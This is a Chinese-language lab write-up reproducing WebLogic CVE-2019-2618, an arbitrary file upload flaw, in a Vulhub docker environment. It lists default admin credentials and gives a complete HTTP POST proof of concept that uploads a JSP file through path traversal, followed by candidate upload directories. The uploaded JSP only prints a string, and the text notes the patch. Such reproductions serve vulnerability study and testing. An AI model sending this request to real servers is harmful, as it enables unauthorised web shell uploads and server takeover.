WebLogic任意文件上傳漏洞(CVE-2019-2618)
0x01 漏洞描述
漏洞介紹
CVE-2019-2618漏洞主要是利用了WebLogic組件中的DeploymentService接口,該接口支持向服務器上傳任意文件。攻擊者突破了OAM(Oracle Access Management)認證,設置wl_request_type參數為app_upload,構造文件上傳格式的POST請求包,上傳jsp木馬文件,進而可以獲得整個服務器的權限。
影響版本
WebLogic 10.3.6.0、12.1.3.0、12.2.1.3
0x01 搭建漏洞環境
利用Vulhub里的weblogic/CVE-2017-10271
的weblogic版本作為漏洞環境,啟動命令為:
docker-compose up -d
等待一段時間,訪問http://your-ip:7001/
即可看到一個404頁面,說明weblogic已成功啟動。
我們可以先進入容器內部
[root@localhost CVE-2017-10271]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dc73ec08c629 vulhub/weblogic "startWebLogic.sh" 13 minutes ago Up 13 minutes 5556/tcp, 0.0.0.0:7001->7001/tcp cve-2017-10271_weblogic_1_e0c10faa85da
[root@localhost CVE-2017-10271]# docker exec -it dc73ec08c629 /bin/bash
root@dc73ec08c629:~/Oracle/Middleware#
0x02 漏洞復現
漏洞前提是需要先獲取weblogic
的賬號密碼。可以爆破密碼或者嘗試默認賬號密碼(比較雞肋)
weblogic/weblogic
weblogic/Oracle@123
POC為:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 172.16.200.221:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
serverName: zhengjim
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 238
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false
<%
out.print("123456");
%>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
發送數據包 ,返回了上傳文件的地址
去訪問發現執行成功
復現成功
上傳目錄可以多嘗試幾個
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_deployment_internal.war
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_internal.war 這是上傳的路徑
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_deployment_internal
bea_wls_internal
bea_wls_deployment_internal 在同目錄
這是漏洞war位置
漏洞修復
Oracle官方已經在關鍵補丁更新(CPU)中修復了該漏洞